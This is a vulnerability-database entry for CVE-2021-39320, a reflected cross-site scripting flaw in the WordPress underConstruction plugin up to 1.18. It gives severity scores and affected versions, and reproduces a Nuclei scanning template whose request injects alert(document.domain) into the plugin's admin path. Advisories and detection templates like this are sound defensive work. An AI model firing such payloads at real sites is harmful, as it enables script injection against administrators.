CVE-2021-39320
published 2021-09-01CVE-2021-39320: The underConstruction plugin <= 1.18 for WordPress echoes out the raw value of `$GLOBALS['PHP_SELF']` in the ucOptions.php file. On certain configurations…
PriorityP338medium6.1CVSS 3.1
AVNACLPRNUIRSCCLILAN
EXPLOIT
EPSS
2.33%
81.4th percentile
The underConstruction plugin <= 1.18 for WordPress echoes out the raw value of `$GLOBALS['PHP_SELF']` in the ucOptions.php file. On certain configurations including Apache+modPHP, this makes it possible to use it to perform a reflected Cross-Site Scripting attack by injecting malicious code in the request path.
Affected
2 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| noah_kagan | underconstruction | 1.18 – 1.18 | — |
| underconstruction_project | underconstruction | < 1.19 | 1.19 |
CVSS provenance
nvdv3.16.1MEDIUMCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
nvdv2.04.3MEDIUMAV:N/AC:M/Au:N/C:N/I:P/A:N
CVEs like this are exactly what “Exploited This Week” covers.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
No detection rules found.
Nuclei
WordPress Under Construction <1.19 - Cross-Site Scripting
nuclei·CVSS 6.1
CVE-2021-39320 [MEDIUM] WordPress Under Construction <1.19 - Cross-Site Scripting
WordPress Under Construction alert(document.domain)/?page=under-construction HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: word
part: body
words:
- 'action="/wp-admin/admin.php/">alert(document.domain)'
- 'under-construction'
condition: and
- type: word
part: header
words:
- "text/html"
- type: status
status:
- 200
# digest: 4a0a004730450220463b867cf8a1db1eb85ad3d0cbe8ce14971dae203e6cd22f5472d4b49abfac72022100ea0c79c2a202eef97ed0e2bc008ea0d537714037aa9733cffc48ad8f92e47a99:922c64590222798bb761d5b6d8e72950
No writeups or analysis indexed.
2021-09-01
Published